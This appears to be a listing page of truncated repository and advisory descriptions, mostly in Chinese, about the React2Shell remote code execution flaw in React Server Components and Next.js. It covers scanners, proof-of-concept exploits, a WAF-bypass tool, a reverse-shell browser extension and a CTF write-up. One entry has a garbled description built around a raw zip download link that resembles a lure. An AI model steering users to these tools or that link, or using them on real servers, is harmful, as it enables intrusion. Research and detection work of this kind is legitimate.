react2shell-evolved

React2Shell Scanner 用于RSC/Next.js RCE的高保真检测 用于检测React Server Components和Next.js应用程序中远程代码执行（RCE）漏洞的扫描器。 关于 React2Shell Scanner 是一款专用工具，用于识别使用 React Server Components RSC 和 Next.js 的应用程序中的远程代码执行（RCE）漏洞。该工具可检测与以下 CVE 相关的漏洞： CVE-2025-55182 CVE-2025-66478 该工具利用侧信道检测和 RCE 概念验证进行高保真检测，能够通过自动解析 HTTP...

CVE-2026-94544 Next.js: Pending `use cache` fill can leak Draft Mode content into regular responses and persisted pages

Next.js is a React framework for building full-stack web applications. From 16.3.0 until 16.3.8, pending use cache fills for the same key are shared without separating Draft Mode requests from regular requests. An overlapping regular request can receive unauthenticated unpublished content from an...

CVE-2026-94544 Next.js: Pending `use cache` fill can leak Draft Mode content into regular responses and persisted pages

Next.js is a React framework for building full-stack web applications. From 16.3.0 until 16.3.8, pending use cache fills for the same key are shared without separating Draft Mode requests from regular requests. An overlapping regular request can receive unauthenticated unpublished content from an...

EUVD-2026-91668

Next.js is a React framework for building full-stack web applications. From 16.3.0 until 16.3.8, pending use cache fills for the same key are shared without separating Draft Mode requests from regular requests. An overlapping regular request can receive unauthenticated unpublished content from an...

CVE-2025-55182-Exploit-PoC-Scanner

CVE-2025-55182 - React服务器组件RCE利用工具v2.0 一个全面的安全研究工具，用于测试React服务器组件RSC和Next.js Server Actions中的CVE-2025-55182 和CVE-2025-66478 漏洞。 漏洞总览 属性| 值 ---|--- CVE编号| CVE-2025-55182, CVE-2025-66478 CVSS分数| 10.0 严重 受影响版本| React 19.2.0, Next.js 15.0.5 漏洞类型| 远程代码执行 RCE 攻击向量| 网络 功能特性 PortSwigger风格的漏洞扫描，支持多种检测载荷...

mig

MIG: Mozilla InvestiGator MIG is Mozilla's platform for investigative surgery of remote endpoints. ⚠️ Deprecation Notice ⚠️ Mozilla is no longer maintaining the Mozilla InvestiGator MIG project. Mozilla is also no longer making use of this code internally. You are welcome to use this code as is...

security_monkey

NOTE: Security Monkey is in maintenance mode and will be end-of-life in 2020. For AWS users, please make use of AWS Config. For GCP users, please make use of Cloud Asset Inventory. Security Monkey Security Monkey monitors your AWS and GCP accounts for policy changes and alerts on insecure...

Explosive-As-Hell-MCS-Qualifer-Web-500

CVE-2025-55182 — React Server Components RCE | CTF 解题报告 分类： Web 漏洞利用 | 难度： 中等 | 漏洞类型： 远程代码执行 → SUID 权限提升 TL;DR React Server Components 端点存在 CVE-2025-55182 漏洞（RCE）→ 枚举 SUID 二进制 → /usr/bin/perl 设置了 SUID 位 → 使用 Perl 的 POSIX setuid0 提升至 root → 读取 /root/flag.txt。 Flag：...

React2Shell

RSC Sentinel 一款用于检测 Web 应用程序中 React2Shell 漏洞（CVE-2025-55182 和 CVE-2025-66478）的 Firefox 扩展。 👁️ 概述 RSC Sentinel 是一款 Firefox 浏览器扩展，面向希望在浏览时观察 React Server Components RSC 和 Next.js App Router 指标的安全研究人员和教育工作者。它默认专注于被动检测，在不改变网站行为的情况下突出显示潜在信号。对于经过授权的评估，它还可选提供由用户发起的手动工具，用于主动探测和受控命令执行。 🧩 功能 被动检测...

CVE-2025-55182-React2Shell

React2Shell React2Shell 是一个概念验证（PoC）漏洞利用，演示了在使用React服务端组件（RSC） 的现代Web框架中的一个严重远程代码执行（RCE）漏洞。 该PoC针对CVE-2025-55182，这是一个CVSS 10.0漏洞，允许未经认证的远程攻击者通过React服务端组件实现中的不安全反序列化执行任意系统命令。 🔍 漏洞概述 React2Shell 利用了一个缺陷，该缺陷存在于React服务端组件在重新水合 阶段处理不受信任输入的方式中。 指标| 详细 ---|--- 严重性| 严重（10.0 / 10.0） 向量|...

CVE-2025-55182

CVE-2025-55182 — React2Shell: 高级利用与硕士论文研究 -brightred 不可信数据反序列化 + React Server Components 中的原型污染 通过 Next.js Server Actions 实现未经认证的远程代码执行 受影响版本: React 19.0.0 - 19.2.0 · 补丁: React 19.0.1 / 19.1.2 / 19.2.1 2025年12月3日 高级利用演示 - RCE基本命令、交互式Shell以及针对易受攻击的Next.js应用的多种攻击向量 描述 该仓库包含我关于 CVE-2025-55182 的 硕士论文...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - 轻松安全地运行命令 🚀 概述 CVE-2025-55182 是存在于 https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip 和 React Server Components 中的一个漏洞。该问题由于 React Server Actions 中数据处理不当，允许未经授权的用户在受影响的服务器上执行任意代码。我们的应用程序提供了一个交互式...

react2shell-CVE-2025-55182-poc

CVE-2025-55182 React2Shell PoC——带 WAF 绕过 一个针对 CVE-2025-55182 （又名 React2Shell）的简洁、可靠的 Python 概念验证（PoC）漏洞利用程序，该漏洞是 Next.js（App Router）及类似框架所使用的 React Server Components 中的一个严重远程代码执行漏洞。 该 PoC 包含动态 WAF 绕过填充 ，可规避那些限制对大型 multipart 请求体进行深度检测的常见 Web 应用防火墙（Cloudflare、AWS WAF 等）。 漏洞概述 CVE ：CVE-2025-55182 CV...

flight-risk

flight-risk flight risk /flaɪt rɪsk/ — React的Flight协议是React服务器组件的序列化层。CVE-2025-55182利用Flight中的反序列化漏洞实现预认证远程代码执行（RCE）。如果你的应用使用了RSC，它就是一个 飞行风险 。 针对CVE-2025-55182（React2Shell） 的安全工具包——一个CVSS 10.0的预认证远程代码执行漏洞，影响React服务器组件。支持扫描、检测、关联和测试。 内容说明 工具| 功能 ---|--- react2shell-scanner|...

react2shell-scanner

🚨 React2Shell 扫描器 React 服务端组件中的 CVSS 10.0 RCE。你的 React 19 应用存在漏洞吗？ 用于检测 CVE-2025-55182（React2Shell）的快速、精准扫描器——这是一个已被在野利用的严重远程代码执行漏洞。凭借智能的服务端组件检测实现零误报。 🚨 关于 React2Shell（CVE-2025-55182） React2Shell 是 React 服务端组件中的一个最高严重级别（CVSS 10.0）漏洞，允许未经身份验证的远程代码执行。攻击者可通过向服务端函数端点发送特制的 HTTP 请求来利用此漏洞。 关键信息： 受影响：...

CVE-2025-55182

CVE-2025-55182 如果你在寻找真正的解释，msanft/CVE-2025-55182 有一个不错的解释（附带可用的PoC）。 这个仓库只包含我尝试的一些东西，产生了一些有趣的（？）结果。 ./thing.py 现在包含一个可用的PoC，大部分取自 https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3。 旧资料 模板： !/usr/bin/env python3 import httpx c = httpx.Clientbaseurl="http://localhost:3000" ACTIONID...

React2P4IM0Nshell

React2P4IM0Nshell 💥用于Next.js和React Server Components RSC环境的扩展工具，用于高级审计和利用RCE/Source Leak/Dos CVE-2025-55182/83/84，直接从浏览器操作，扩展内嵌Linux终端以接收任何反弹shell ❌ ⚡ CMDCENTER: 核心 👁️ 被动识别 我静默分析DOM和HTTP头部。检测诸如window.nextf和text/x-component等签名，以在不触发WAF的情况下识别Next.js App Router架构。 🕵️‍♂️ 📡 主动探测（握手） 发送带有RSC:...

react2shell

React2Shell 一款用于利用React Server Components / Server Actions中原型污染漏洞（CVE-2025-55182 和 CVE-2025-66478）的CLI工具，可在易受攻击的服务器上实现远程代码执行（RCE）。 原始PoC：https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc 警告：此工具针对一个严重漏洞（CVSS 10.0），该漏洞正在被积极利用。 仅可在您拥有所有权或已获得明确授权的系统上使用。 法律免责声明...

react2shell-scanner

react2shell-scanner 一款高保真命令行漏洞扫描器，用于检测使用 React Server Components RSC 的 Next.js 应用中的 CVE-2025-55182 和 CVE-2025-66478 （远程代码执行）。 🚨 漏洞概述 这些严重漏洞影响使用 React Server Components 的 Next.js 应用，攻击者可通过精心构造的 multipart POST 请求实现未授权远程代码执行。 受影响版本： 使用 React Server Components 且存在易受攻击的 action 处理的 Next.js 版本...

CVE-2025-55182

CVE-2025-55182: React2Shell - Next.js 远程代码执行工具包 !WARNING 此工具仅用于授权测试和教育目的。未经授权的网络访问和数据窃取是非法的。使用此工具前，用户须确保拥有相应的授权。 概述 本仓库包含一个简易工具包，用于验证、利用 CVE-2025-55182（又名 React2Shell ）并获得交互式 shell。这是一个关键的预认证远程代码执行 RCE 漏洞，存在于 React Server Components RSC 中，影响版本 19.0.0、19.1.0、19.1.1 和 19.2.0。 该漏洞源于 React Flight...